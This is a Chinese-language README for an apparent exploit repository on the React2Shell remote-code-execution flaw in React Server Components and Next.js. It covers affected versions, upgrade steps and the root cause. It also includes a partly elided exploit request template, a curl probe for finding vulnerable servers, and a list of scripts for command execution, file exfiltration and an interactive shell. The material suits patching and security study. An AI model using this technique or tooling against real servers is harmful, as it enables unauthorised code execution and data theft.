CVE-2025-55182 (React) and CVE-2025-66478 (Next.js)
本仓库仅包含用于授权安全测试和教育目的的漏洞利用代码。
另请参阅: 多位研究人员已发布对此漏洞的分析。请查阅参考资料部分,获取更多攻击技术、检测方法及分析视角。
2025年12月3日(星期三),React Server Components 中一个严重的远程代码执行漏洞被公开披露。该漏洞被命名为“React2Shell”,允许未认证攻击者通过发送单个 HTTP 请求,在运行受影响版本的 React RSC 或 Next.js App Router 的任何服务器上执行任意代码。
鉴于 Next.js 的广泛使用——它支撑着现代 Web 的很大一部分——此漏洞的影响十分严重。任何使用 App Router(Next.js 13 以来新项目的默认配置)且启用了 RSC 的 Next.js 应用程序都存在漏洞。无需特殊配置,无需特定端点,只需向任意路由发送一个 POST 请求即可。
漏洞存在于 React 的“Flight”协议中,这是 React Server Components 用于在服务器和客户端之间传递数据的序列化格式。在反序列化过程中缺少 hasOwnProperty 检查,使得攻击者可以遍历原型链,最终到达 JavaScript 的 Function 构造函数并执行攻击者控制的代码。
该缺陷存在于 React 的 react-server-dom-webpack、react-server-dom-turbopack 和 react-server-dom-parcel 包中。Next.js 作为主要的 RSC 使用者,通过其 App Router 继承了此漏洞。
许多服务都可能存在漏洞。Next.js 是最流行的 React 框架之一,被从初创公司到大型企业的各类公司使用。自 13 版本起,App Router 与 React Server Components 已成为新 Next.js 项目的默认架构,这意味着大多数现代 Next.js 部署都受影响。
使用以下组件的任何应用程序:
react-server-dom-* 包(19.0.0 - 19.2.0)这包括在 Vercel、AWS、自托管基础设施以及任何运行 Next.js App Router 应用程序的生产环境部署。
不受影响:
process.mainModule 可用)| 包 | 受影响版本 | 修复版本 |
|---|---|---|
react-server-dom-webpack | 19.0.0, 19.1.0, 19.1.1, 19.2.0 | 19.0.1, 19.1.2, 19.2.1+ |
react-server-dom-turbopack | 19.0.0, 19.1.0, 19.1.1, 19.2.0 | 19.0.1, 19.1.2, 19.2.1+ |
react-server-dom-parcel | 19.0.0, 19.1.0, 19.1.1, 19.2.0 | 19.0.1, 19.1.2, 19.2.1+ |
| 版本线 | 受影响版本 | 修复版本 |
|---|---|---|
| 15.0.x | < 15.0.5 | 15.0.5+ |
| 15.1.x | < 15.1.9 | 15.1.9+ |
| 15.2.x | < 15.2.6 | 15.2.6+ |
| 15.3.x | < 15.3.6 | 15.3.6+ |
| 15.4.x | < 15.4.8 | 15.4.8+ |
| 15.5.x | < 15.5.7 | 15.5.7+ |
| 16.0.x | < 16.0.7 | 16.0.7+ |
立即升级。 无其他解决方案。
对于 Next.js 应用程序:
npm install next@latest
# 或
pnpm update next
对于直接使用 React RSC 的情况:
npm install react-server-dom-webpack@latest
验证已安装的版本:
npm ls next react-server-dom-webpack react-server-dom-turbopack
该漏洞已发现多种攻击向量。最常见且无需任何前置条件的方法是利用 React Flight 协议引用系统进行原型污染。
漏洞利用发送一个精心构造的 multipart POST 请求,并携带 Next-Action 头。载荷滥用引用系统来:
$1:__proto__:then 遍历原型链Function 构造函数POST / HTTP/1.1
Host: target.com
Content-Type: multipart/form-data; boundary=----Boundary
Next-Action: x
------Boundary
Content-Disposition: form-data; name="0"
{"then":"$1:__proto__:then","status":"resolved_model","value":"{...}","_response":{...}}
------Boundary
Content-Disposition: form-data; name="1"
"$@0"
------Boundary--
代码在反序列化过程中执行,早于任何 Action ID 验证。这意味着任何 Next-Action 头值都会触发易受攻击的代码路径——无需有效的 Action ID。
其他攻击向量 也存在,包括
$F函数引用和直接模块 gadget。这些通常需要一个有效的 Action ID。详情见替代攻击向量。
React 的 Flight 协议通过以冒号分割并遍历对象来解析像 $1:path:to:value 这样的引用:
// ReactFlightReplyServer.js - getOutlinedModel()
for (let i = 1; i < path.length; i++) {
value = value[path[i]]; // 没有 hasOwnProperty 检查!
}
讽刺的是: 就在这个文件的开头,第 35 行:
import hasOwnProperty from 'shared/hasOwnProperty';防护措施被导入了,可用,但没有在最关键的循环中使用。
这唯一缺失的检查允许 $1:__proto__:then 从一个 chunk 对象出发,向上遍历原型链,到达 Chunk.prototype.then —— 一个处理类 Promise 对象的函数。通过构造一个具有适当属性的伪造 chunk,我们控制哪些代码会被执行。
克隆存在漏洞的测试服务器:
git clone https://github.com/freeqaz/react2shell
cd react2shell/vulnerable-next-server
pnpm install
pnpm dev
在另一个终端:
./detect.sh http://localhost:3443
存在漏洞的服务器会返回 HTTP 500,响应体中包含 E{"digest"。要演示 RCE:
./exploit-redirect.sh http://localhost:3443 "id"
命令输出会出现在响应中。交互式探索:
./shell.sh http://localhost:3443
vulnerable-next-server/ 目录包含一个预先配置好的 Next.js 16.0.6 + React 19.2.0 应用程序,用于安全的本地测试。默认运行在 3443 端口。这是一个最小的 App Router 设置,演示默认配置即存在漏洞。
我们开发了多种利用变体以应对不同场景:
| 脚本 | HTTP 状态 | 输出 | 生产环境 | 备注 |
|---|---|---|---|---|
exploit-redirect.sh | 303 | x-action-redirect 头 | 是 | 推荐。 无需前置条件。 |
exploit-throw.sh | 500 | 错误响应体 | 否 | 仅开发模式(生产环境错误信息被清理)。 |
exploit-blind.sh | 200 | 仅服务端 | 是 | 发射后不管。用于 OOB 外传。 |
exploit-urlencoded.sh | 303 | x-action-redirect 头 | 是 | 不同的 WAF 签名。需要 Action ID。 |
exploit-reflect.sh | 200 | 响应体 | 是 | 最隐蔽。需要 Action ID。 |
生产环境注意: React 在生产构建中会剥离错误消息,导致
throw方法失效。只有exploit-redirect.sh能在生产环境中无需前置条件可靠地捕获命令输出。重定向 URL 存储在错误的digest属性(元数据)中,该属性不会被清理——而message属性在生产环境中只会变成{digest: "..."}。
实用脚本:
detect.sh — 非破坏性的漏洞探测(不执行代码)enumerate-actions.sh — 从目标 HTML 中发现有效的 Server Action IDexfil-file.sh — 分块文件外传(自动处理大文件)shell.sh — 基于 RCE 的交互式伪 Shell推荐使用重定向方法,因为它适用于生产环境,无需前置条件,且直接返回命令输出。其原理是抛出一个精心构造的 NEXT_REDIRECT 错误——输出被 Base64 编码到重定向 URL 中,并随 x-action-redirect 头返回。
每个脚本的详细用法,请参阅 USAGE.md。
./detect.sh https://target.com
这发送一个最小探测,触发漏洞代码路径但不执行任意代码。
存在漏洞的服务器响应:
text/x-componentE{"digest"已修复或无 RSC 的服务器: 返回 404、不同的错误格式,或无 Flight 协议响应。
curl -s -o /dev/null -w "%{http_code}" -X POST https://target.com \
-H "Next-Action: x" \
-H "Content-Type: multipart/form-data; boundary=----Boundary" \
--data-binary $'------Boundary\r\nContent-Disposition: form-data; name="0"\r\n\r\n["$1:a:a"]\r\n------Boundary\r\nContent-Disposition: form-data; name="1"\r\n\r\n{}\r\n------Boundary--'
此探测引用了空对象上一个不存在的属性。存在漏洞的服务器在尝试访问 {}.a.a 时会崩溃,返回 500。已修复的服务器有 hasOwnProperty 防护,可防止崩溃。
寻找以下特征:
0:, 1:, 等)的 <script> 标签x-nextjs-cache 或 x-nextjs-matched-path 头/_next/ 静态资源路径$ACTION_ID_ 模式下图展示了一个 HTTP 请求如何实现远程代码执行:
sequenceDiagram
participant A as 攻击者
participant N as Next.js
participant F as Flight 解析器
participant JS as JS 引擎
A->>N: POST 请求(Next-Action 头 + 恶意载荷)
N->>F: 解析 multipart 表单数据
F->>JS: await getRoot - 将 chunk 作为 thenable 返回
rect rgb(80, 20, 20)
Note over F,JS: 漏洞 - 缺少 hasOwnProperty 检查
JS->>F: chunk.then 解析 $1:__proto__:then
F-->>F: 遍历到 Chunk.prototype.then
end
F->>JS: resolve(attackerObject)
Note over JS: JS Promise 规范:resolve(thenable)<br/>调用 thenable.then()
JS->>F: fakeChunk.then() 使用攻击者的 _response
rect rgb(80, 20, 20)
Note over F,JS: 利用 - 攻击者控制 _response
F->>F: $B0 → _formData.get(_prefix + "0")
Note over F: _formData.get = Function 构造函数<br/>_prefix = 恶意代码字符串
F->>JS: Function(code) 作为 thenable 被调用
end
Note over JS: RCE - execSync() 执行
rect rgb(20, 60, 20)
Note over A,JS: 输出外传(重定向方法)
JS-->>F: throw NEXT_REDIRECT(带 Base64 输出)
F-->>N: 错误向上传播
N-->>A: HTTP 303 + x-action-redirect 头
end
React Server Components 使用一种名为“Flight”的自定义序列化格式,将组件树从服务器流式传输到客户端。它使用前缀代码来表示不同的值类型:
$1, $2, ... — 对其他 chunk 的引用(按 ID)$@0 — 原始 chunk 对象引用(返回 chunk 本身,而非其值)$B0 — Blob 引用(触发 _formData.get(_prefix + id))$1:path:to:prop — 在被引用 chunk 的值上遍历路径该漏洞利用了 $@(原始引用)与冒号分隔路径的组合,来访问 __proto__。
阶段 1:请求处理
Next-Action 头的 POST 请求,触发 RSC Action 处理await getRoot(response) 将 chunk 0 作为 thenable 返回阶段 2:原型遍历